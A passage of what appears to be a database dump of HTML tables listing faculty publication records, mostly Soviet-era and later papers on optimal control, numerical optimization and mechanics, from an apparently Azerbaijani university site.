семинар молодых ученых&nbsp; по прикладной математике и кибернетике, Баку, декабр, 1984 г.</p></td><td width=\"57\"><p><strong>1984</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>8.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>Анализ численных методов оптимального управления.</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p></td><td width=\"121\"><p>Сб.ВУЗов Азерб.ССР “Краевые задачи и числен-ные методы оптимизации” Баку</p><p><strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>1984</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>9.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>О минимизации среднеквадра-</strong></p><p><strong>тичного критерия.</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p></td><td width=\"121\"><p><strong>Известия АН Азерб.ССР, сер. ФТМН, № 5, 1984</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>1984</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>10</strong></p></td><td width=\"125\"><p><strong>Численные схемы решения</strong></p><p><strong>задач оптимального управле-ния объектами с распреде-ленными параметрами.</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p><p><strong>Ю.Г Евтушенко</strong></p></td><td width=\"121\"><p><strong>Известия АН Азерб.ССР, сер.ФТМН,</strong></p></td><td width=\"57\"><p><strong>1985</strong></p></td><td width=\"76\"><p><strong>№ 6 ,&nbsp;</strong>С. 106-112.<strong></strong></p></td></tr><tr><td width=\"36\"><p><strong>11</strong></p></td><td width=\"125\"><p><strong>Решение задачи о неустано-вившемся&nbsp; движении газа в трубопроводе</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p><p><strong>Гасымов Г.Г.</strong></p></td><td width=\"121\"><p><strong>Сб. “Численные методы механики деформирован-</strong></p><p><strong>ных сред и оптимизации “ Деп. в ВИНИТИ ДНР</strong></p></td><td width=\"57\"><p><strong>1986</strong></p></td><td width=\"76\"><p><strong>№6(176)</strong></p></td></tr><tr><td width=\"36\"><p><strong>12</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>Многомашинный комплекс</strong></p><p><strong>ЭВМ ЕС-1045 - СМ - 2- Электроника -60</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p><p><strong>Мамедов С.Н.</strong></p><p><strong>Хандзель А.В.</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"121\"><p><strong>“Информационный листок“ АзНИИНТИ Баку</strong></p></td><td width=\"57\"><p><strong>1987</strong></p></td><td width=\"76\"><p><strong>№28</strong><strong></strong></p></td></tr><tr><td width=\"36\"><p><strong>13</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p>К решению задач опти -</p><p>мального управления&nbsp;&nbsp;&nbsp;</p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>&nbsp;</strong></p></td><td width=\"121\"><p>Изв. АН Азерб. ССР, серия ФТМ&nbsp;&nbsp;</p></td><td width=\"57\"><p><strong>1987</strong></p></td><td width=\"76\"><p><strong>№</strong><strong>4</strong></p></td></tr><tr><td width=\"36\"><p><strong>14</strong></p></td><td width=\"125\"><p>О решении одного класса</p><p>оптимизационных задач&nbsp;</p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p><strong>А.В.Хандзель</strong><strong></strong></p></td><td width=\"121\"><p>В тез. Док. 10-го Всесоюзного симп. \"Системы програм-много обеспечения решения задач оптимального управления \"&nbsp; (г. Нарва, 14-24 марта )</p></td><td width=\"57\"><p><strong>1988</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>15</strong></p></td><td width=\"125\"><p><strong>Численный метод идентификации значений параметров подземной гидродинамики</strong></p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong><strong></strong></p></td><td width=\"121\"><p>Материалы Республ. конференции, посвящ.&nbsp; 80-летию акад.К.Т. Ахмедова Баку,</p></td><td width=\"57\"><p><strong>1997</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>16</strong></p></td><td width=\"125\"><p><strong>О системе управления техноло</strong></p><p><strong>гическими процессами газодо-бывающего промысла в реаль-</strong></p><p><strong>ном масштабе времени.</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>Мамедов С.Н.</strong></p><p><strong>К.Р.Айда-заде</strong></p><p><strong>Хандзель А.В.</strong></p></td><td width=\"121\"><p><strong>Известия АН Азербайджа-на, серия ФТМН</strong></p></td><td width=\"57\"><p><strong>1997</strong></p></td><td width=\"76\"><p><strong>№ 1 - 3</strong></p></td></tr><tr><td width=\"36\"><p><strong>17</strong></p></td><td width=\"125\"><p><strong>О согласовании схем конечно-</strong></p><p><strong>мерной аппроксимации крае-вых задач в оптимальном управлении</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p></td><td width=\"121\"><p><strong>Известия АН Азерб., сер. ФТМН,</strong><strong></strong></p></td><td width=\"57\"><p><strong>1998</strong></p></td><td width=\"76\"><p><strong>№6</strong></p></td></tr><tr><td width=\"36\"><p><strong>18</strong></p></td><td width=\"125\"><p><strong>Numerical Methods Solution of the Problem of Domain Boundary Optimization</strong></p></td><td width=\"104\"><p>тезис<strong></strong></p></td><td width=\"125\"><p><strong>A.B.Kerimov</strong></p><p><strong>К</strong><strong>.R. Aida-zade</strong></p></td><td width=\"121\"><p><strong>Second International Sympo-</strong></p><p><strong>sium on Mathematical and Computational Applications, Baku</strong></p></td><td width=\"57\"><p><strong>1999</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>19</strong></p></td><td width=\"125\"><h1>Численное решение задачи оп-</h1><p><strong>тимизации формы области</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>А.Б.Керимов</strong></p><p><strong>К.Р.Айда-заде</strong></p></td><td width=\"121\"><p><strong>Известия НАН Азеррбайд-жана сер.ФТМН</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>1999</strong></p></td><td width=\"76\"><p><strong>№3-4</strong></p></td></tr><tr><td width=\"36\"><p><strong>20</strong></p></td><td width=\"125\"><p><strong>Задача управления источниками в распределенных системах&nbsp; на классе кусочно-постоянных функций.</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>А.Б Керимов, С.Р.Мусаев</strong></p></td><td width=\"121\"><p>Известия НАН АР, серия физ.-тех. и мат. наук,</p></td><td width=\"57\"><p><strong>2001</strong></p></td><td width=\"76\"><p><strong>№2</strong></p></td></tr><tr><td width=\"36\"><p><strong>21</strong></p></td><td width=\"125\"><p><strong>Çoxnöqtəli sərhəd şərtli ortimal idarəetmə məsələlərinin bir həlli haqqında</strong></p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p><strong>V.M. Abdullayev</strong></p></td><td width=\"121\"><p>«Bütöv mühüt mexanikasının dinamiki məsələləri» mövzusunda xatirə-yubiley konfransı. 23-25 may 2002-ci il</p></td><td width=\"57\"><p><strong>2002</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>22</strong></p></td><td width=\"125\"><p><strong>The visual analyzing and managing of physiological emotional condition using multimedia means</strong></p></td><td width=\"104\"><p>тезис<strong></strong></p></td><td width=\"125\"><p><strong>R.Ahmadov N.Sapharov</strong></p></td><td width=\"121\"><p>\"East-West-Vision 2002 International Workshop on Computer Vision, Computer Graphics, New Media\", Graze Austria, 11-12 September</p></td><td width=\"57\"><p><strong>2002</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>23</strong></p></td><td width=\"125\"><p><strong>Многоуровневая система распознавания рукописных форм</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p><strong>Айда-заде К.Р., Э.Э.Мустафаев.</strong><strong></strong></p></td><td width=\"121\"><p>Доклады 11-й Всерос-сийской конференции «Математические методы распознавания образов», Москва, 2003</p></td><td width=\"57\"><p><strong>2003</strong></p></td><td width=\"76\"><p><strong>с. 230-233.</strong></p></td></tr><tr><td width=\"36\"><p><strong>24</strong></p></td><td width=\"125\"><p><strong>Distributed data processing in a personal insuarance accounts system: security and condidentality</strong></p></td><td width=\"104\"><p>тезис<strong></strong></p></td><td width=\"125\"><p><strong>&nbsp;</strong></p></td><td width=\"121\"><p>\"The Fourth International Conference “IES- 2004” September 28-october-16</p></td><td width=\"57\"><p><strong>2004</strong></p></td><td width=\"76\"><p><strong>p.417-419</strong></p></td></tr><tr><td width=\"36\"><p><strong>25</strong></p></td><td width=\"125\"><p>The project of development of an automated information system on the base of the Azerbaijan State Oil Academy.&nbsp; (In Azerbaijan). Application of information technology in education.</p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p>R.T.Humbatov, K.R., Ajda-zade, O.M. Manafli,</p><p>S.H.Rzayeva<strong></strong></p></td><td width=\"121\"><p>Materials of the Republican Scientific Conference. Baku 22-23 May 2007.</p></td><td width=\"57\"><p><strong>2007</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>26</strong></p></td><td width=\"125\"><p>Project of creation system “electronic university”</p></td><td width=\"104\"><p>тезис<strong></strong></p></td><td width=\"125\"><p><strong>Sona Rzayeva</strong><strong></strong></p></td><td width=\"121\"><p>The Materials of the International Conference “PCI- 2010” Baku, 8-10 September, 2010</p></td><td width=\"57\"><p><strong>2010</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr></tbody></table>  <br></div>'),(1557,970,'en','Sakhavet Talibov','Sakhavet Talibov','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"643\"><tbody><tr><td width=\"36\"><p>#</p></td><td width=\"125\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"104\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"121\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong></strong></p></td><td width=\"57\"><p><strong>Year Published</strong><strong></strong></p></td><td width=\"76\"><p><strong>Vol. &amp; Pages</strong><strong></strong></p></td></tr><tr><td width=\"36\"><p><strong>1.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p>&nbsp;Пакет программ для решения задач оптимального управление с сосредоточен ными параметрами</p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p><strong>Г.Г.Гасымов Г.П.Левченко</strong></p></td><td width=\"121\"><p>Материалы I Рес- публикан-сkой конференции молодых ученых по прик ладной мате-мати ке и кибернетике Баку, декабрь&nbsp;&nbsp; 1981 г.</p></td><td width=\"57\"><p><strong>1981</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>2.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p>Экстраполяционные методы в математическом программировании&nbsp;</p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>М.А.Калаушин</strong></p></td><td width=\"121\"><p>Материалы I Рес- публикан-сkой конференции молодых ученых по прик ладной мате-мати ке и кибернетике Баку, декабрь&nbsp;&nbsp; 1981 г.</p></td><td width=\"57\"><p><strong>1981</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>3.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p>Об информационно-технической подсистеме адаптивной&nbsp; АСУ ТП, функционирующией в режиме замкнутого контура управления</p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p><strong>А.А.Мамедов</strong></p><p><strong>В.Г.Мовсумов</strong></p><p><strong>Л.В.Онистрат</strong></p></td><td width=\"121\"><p>Приборы,средства автомати-зации и систем управления. Проблемы создания и опыт внедрения автоматизирован-ных систем управления в нефтяной, нефтеперерабаты-вающей и нефтехимической промышленности. М., ЦНИИТЭИ,1980</p></td><td width=\"57\"><p><strong>1980</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>4.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p>Использование экстрапо-</p><p>ляции в математическом</p><p>программировании</p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p><p><strong>Р.И.Али-заде</strong></p></td><td width=\"121\"><p>Изв.АН.Азерб.&nbsp;&nbsp;</p><p>ССР.сер.физ.тех.</p><p>и матем.наук,&nbsp;&nbsp;</p></td><td width=\"57\"><p><strong>1982</strong></p></td><td width=\"76\"><p><strong>N 5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>5.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p>Пакет&nbsp; программ оптимимизации. Управление пакетом</p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p><p><strong>Н.С.Сидоренко</strong></p><p><strong>М.А.Калаушин</strong></p><p><strong>Г.П.Левченко</strong></p><p><strong>Г.В.Богданова</strong></p></td><td width=\"121\"><p>В.кн. Стандартизация. ППП оптимизации. Йошкар--Ола,&nbsp;&nbsp;&nbsp;</p></td><td width=\"57\"><p><strong>1982</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>6.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p>Минимизация функции многих переменных методом Розенброка</p></td><td width=\"104\"><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p><p><strong>Г.Б.Богданова</strong></p></td><td width=\"121\"><p>Принят в програмный фонд СОФАП КПКБ АСУ Минприбора СССР ПП 1662.00122.01</p></td><td width=\"57\"><p><strong>&nbsp;</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>7.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p>Система управления межпромысловым транспортом газа&nbsp;</p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p><strong>Г.Г.Гасымов</strong></p><p><strong>А.В.Хаджибекян</strong></p></td><td width=\"121\"><p>Республиканская школа семинар молодых ученых&nbsp; по прикладной математике и кибернетике, Баку, декабр, 1984 г.</p></td><td width=\"57\"><p><strong>1984</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>8.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>Анализ численных методов оптимального управления.</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p></td><td width=\"121\"><p>Сб.ВУЗов Азерб.ССР “Краевые задачи и числен-ные методы оптимизации” Баку</p><p><strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>1984</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>9.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>О минимизации среднеквадра-</strong></p><p><strong>тичного критерия.</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p></td><td width=\"121\"><p><strong>Известия АН Азерб.ССР, сер. ФТМН, № 5, 1984</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>1984</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>10</strong></p></td><td width=\"125\"><p><strong>Численные схемы решения</strong></p><p><strong>задач оптимального управле-ния объектами с распреде-ленными параметрами.</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p><p><strong>Ю.Г Евтушенко</strong></p></td><td width=\"121\"><p><strong>Известия АН Азерб.ССР, сер.ФТМН,</strong></p></td><td width=\"57\"><p><strong>1985</strong></p></td><td width=\"76\"><p><strong>№ 6 ,&nbsp;</strong>С. 106-112.<strong></strong></p></td></tr><tr><td width=\"36\"><p><strong>11</strong></p></td><td width=\"125\"><p><strong>Решение задачи о неустано-вившемся&nbsp; движении газа в трубопроводе</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p><p><strong>Гасымов Г.Г.</strong></p></td><td width=\"121\"><p><strong>Сб. “Численные методы механики деформирован-</strong></p><p><strong>ных сред и оптимизации “ Деп. в ВИНИТИ ДНР</strong></p></td><td width=\"57\"><p><strong>1986</strong></p></td><td width=\"76\"><p><strong>№6(176)</strong></p></td></tr><tr><td width=\"36\"><p><strong>12</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>Многомашинный комплекс</strong></p><p><strong>ЭВМ ЕС-1045 - СМ - 2- Электроника -60</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p><p><strong>Мамедов С.Н.</strong></p><p><strong>Хандзель А.В.</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"121\"><p><strong>“Информационный листок“ АзНИИНТИ Баку</strong></p></td><td width=\"57\"><p><strong>1987</strong></p></td><td width=\"76\"><p><strong>№28</strong><strong></strong></p></td></tr><tr><td width=\"36\"><p><strong>13</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p>К решению задач опти -</p><p>мального управления&nbsp;&nbsp;&nbsp;</p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>&nbsp;</strong></p></td><td width=\"121\"><p>Изв. АН Азерб. ССР, серия ФТМ&nbsp;&nbsp;</p></td><td width=\"57\"><p><strong>1987</strong></p></td><td width=\"76\"><p><strong>№</strong><strong>4</strong></p></td></tr><tr><td width=\"36\"><p><strong>14</strong></p></td><td width=\"125\"><p>О решении одного класса</p><p>оптимизационных задач&nbsp;</p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p><strong>А.В.Хандзель</strong><strong></strong></p></td><td width=\"121\"><p>В тез. Док. 10-го Всесоюзного симп. \"Системы програм-много обеспечения решения задач оптимального управления \"&nbsp; (г. Нарва, 14-24 марта )</p></td><td width=\"57\"><p><strong>1988</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>15</strong></p></td><td width=\"125\"><p><strong>Численный метод идентификации значений параметров подземной гидродинамики</strong></p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong><strong></strong></p></td><td width=\"121\"><p>Материалы Республ. конференции, посвящ.&nbsp; 80-летию акад.К.Т. Ахмедова Баку,</p></td><td width=\"57\"><p><strong>1997</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>16</strong></p></td><td width=\"125\"><p><strong>О системе управления техноло</strong></p><p><strong>гическими процессами газодо-бывающего промысла в реаль-</strong></p><p><strong>ном масштабе времени.</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>Мамедов С.Н.</strong></p><p><strong>К.Р.Айда-заде</strong></p><p><strong>Хандзель А.В.</strong></p></td><td width=\"121\"><p><strong>Известия АН Азербайджа-на, серия ФТМН</strong></p></td><td width=\"57\"><p><strong>1997</strong></p></td><td width=\"76\"><p><strong>№ 1 - 3</strong></p></td></tr><tr><td width=\"36\"><p><strong>17</strong></p></td><td width=\"125\"><p><strong>О согласовании схем конечно-</strong></p><p><strong>мерной аппроксимации крае-вых задач в оптимальном управлении</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>К.Р.Айда-заде</strong></p></td><td width=\"121\"><p><strong>Известия АН Азерб., сер. ФТМН,</strong><strong></strong></p></td><td width=\"57\"><p><strong>1998</strong></p></td><td width=\"76\"><p><strong>№6</strong></p></td></tr><tr><td width=\"36\"><p><strong>18</strong></p></td><td width=\"125\"><p><strong>Numerical Methods Solution of the Problem of Domain Boundary Optimization</strong></p></td><td width=\"104\"><p>тезис<strong></strong></p></td><td width=\"125\"><p><strong>A.B.Kerimov</strong></p><p><strong>К</strong><strong>.R. Aida-zade</strong></p></td><td width=\"121\"><p><strong>Second International Sympo-</strong></p><p><strong>sium on Mathematical and Computational Applications, Baku</strong></p></td><td width=\"57\"><p><strong>1999</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>19</strong></p></td><td width=\"125\"><h1>Численное решение задачи оп-</h1><p><strong>тимизации формы области</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>А.Б.Керимов</strong></p><p><strong>К.Р.Айда-заде</strong></p></td><td width=\"121\"><p><strong>Известия НАН Азеррбайд-жана сер.ФТМН</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>1999</strong></p></td><td width=\"76\"><p><strong>№3-4</strong></p></td></tr><tr><td width=\"36\"><p><strong>20</strong></p></td><td width=\"125\"><p><strong>Задача управления источниками в распределенных системах&nbsp; на классе кусочно-постоянных функций.</strong></p></td><td width=\"104\"><p>статья</p></td><td width=\"125\"><p><strong>А.Б Керимов, С.Р.Мусаев</strong></p></td><td width=\"121\"><p>Известия НАН АР, серия физ.-тех. и мат. наук,</p></td><td width=\"57\"><p><strong>2001</strong></p></td><td width=\"76\"><p><strong>№2</strong></p></td></tr><tr><td width=\"36\"><p><strong>21</strong></p></td><td width=\"125\"><p><strong>Çoxnöqtəli sərhəd şərtli ortimal idarəetmə məsələlərinin bir həlli haqqında</strong></p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p><strong>V.M. Abdullayev</strong></p></td><td width=\"121\"><p>«Bütöv mühüt mexanikasının dinamiki məsələləri» mövzusunda xatirə-yubiley konfransı. 23-25 may 2002-ci il</p></td><td width=\"57\"><p><strong>2002</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>22</strong></p></td><td width=\"125\"><p><strong>The visual analyzing and managing of physiological emotional condition using multimedia means</strong></p></td><td width=\"104\"><p>тезис<strong></strong></p></td><td width=\"125\"><p><strong>R.Ahmadov N.Sapharov</strong></p></td><td width=\"121\"><p>\"East-West-Vision 2002 International Workshop on Computer Vision, Computer Graphics, New Media\", Graze Austria, 11-12 September</p></td><td width=\"57\"><p><strong>2002</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>23</strong></p></td><td width=\"125\"><p><strong>Многоуровневая система распознавания рукописных форм</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p><strong>Айда-заде К.Р., Э.Э.Мустафаев.</strong><strong></strong></p></td><td width=\"121\"><p>Доклады 11-й Всерос-сийской конференции «Математические методы распознавания образов», Москва, 2003</p></td><td width=\"57\"><p><strong>2003</strong></p></td><td width=\"76\"><p><strong>с. 230-233.</strong></p></td></tr><tr><td width=\"36\"><p><strong>24</strong></p></td><td width=\"125\"><p><strong>Distributed data processing in a personal insuarance accounts system: security and condidentality</strong></p></td><td width=\"104\"><p>тезис<strong></strong></p></td><td width=\"125\"><p><strong>&nbsp;</strong></p></td><td width=\"121\"><p>\"The Fourth International Conference “IES- 2004” September 28-october-16</p></td><td width=\"57\"><p><strong>2004</strong></p></td><td width=\"76\"><p><strong>p.417-419</strong></p></td></tr><tr><td width=\"36\"><p><strong>25</strong></p></td><td width=\"125\"><p>The project of development of an automated information system on the base of the Azerbaijan State Oil Academy.&nbsp; (In Azerbaijan). Application of information technology in education.</p></td><td width=\"104\"><p>тезис</p></td><td width=\"125\"><p>R.T.Humbatov, K.R., Ajda-zade, O.M. Manafli,</p><p>S.H.Rzayeva<strong></strong></p></td><td width=\"121\"><p>Materials of the Republican Scientific Conference. Baku 22-23 May 2007.</p></td><td width=\"57\"><p><strong>2007</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p><strong>26</strong></p></td><td width=\"125\"><p>Project of creation system “electronic university”</p></td><td width=\"104\"><p>тезис<strong></strong></p></td><td width=\"125\"><p><strong>Sona Rzayeva</strong><strong></strong></p></td><td width=\"121\"><p>The Materials of the International Conference “PCI- 2010” Baku, 8-10 September, 2010</p></td><td width=\"57\"><p><strong>2010</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr></tbody></table>  <br></div>'),(1558,971,'en','Valeh Bakhshaliev','Valeh Bakhshaliev','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"606\"><tbody><tr><td width=\"31\"><p>#</p></td><td width=\"167\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Publications type/publication activities</strong></p></td><td width=\"84\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Publisher &amp; Place of&nbsp;Publication</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>Vol. &amp; Pages</strong><strong></strong></p></td></tr><tr><td width=\"31\"><p><strong>&nbsp;</strong></p></td><td width=\"167\"><p>Methods of Solution of Statics tasks<strong></strong></p></td><td width=\"102\"><p>Brochure</p></td><td width=\"84\"><p>N.B.Kadirov, V.I.Bakhshaliev</p></td><td width=\"102\"><p>AzTU, Baku</p></td><td width=\"60\"><p>1990</p></td><td width=\"60\"><p>71p.</p></td></tr><tr><td width=\"31\"><p>1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Methods of solution of impact&nbsp;problems</p><p>&nbsp;</p></td><td width=\"102\"><p>Brochure</p></td><td width=\"84\"><p>Kadirov N.B., Bakhshaliev V.I. and others</p></td><td width=\"102\"><p>Publisher of Azerbaijan Technical University Baku</p></td><td width=\"60\"><p>1994</p></td><td width=\"60\"><p>40p.</p></td></tr><tr><td width=\"31\"><p>2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Handout for testing questions of Theoretical Mechanics, I part</p><p>&nbsp;</p></td><td width=\"102\"><p>Brochure</p></td><td width=\"84\"><p>Bagirzade R.L., Bakhshaliev V.I. and others</p></td><td width=\"102\"><p>Publisher of Azerbaijan Technical University, Baku</p></td><td width=\"60\"><p>2006</p></td><td width=\"60\"><p>70p.</p></td></tr><tr><td width=\"31\"><p>3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Handout for testing questions of Theoretical Mechanics, II part</p><p>&nbsp;</p></td><td width=\"102\"><p>Brochure</p></td><td width=\"84\"><p>Bagirzade R.L., Bakhshaliev V.I. and others</p></td><td width=\"102\"><p>Publisher of Azerbaijan Technical University, Baku</p></td><td width=\"60\"><p>2006</p></td><td width=\"60\"><p>70p.</p></td></tr><tr><td width=\"31\"><p>4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Dynamical analysis of Piston Machines<strong></strong></p></td><td width=\"102\"><p>Monograph</p></td><td 